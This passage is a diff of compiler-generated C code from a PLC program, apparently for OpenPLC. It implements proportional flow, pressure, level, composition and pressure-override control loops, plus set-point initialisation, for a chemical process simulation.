__SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + 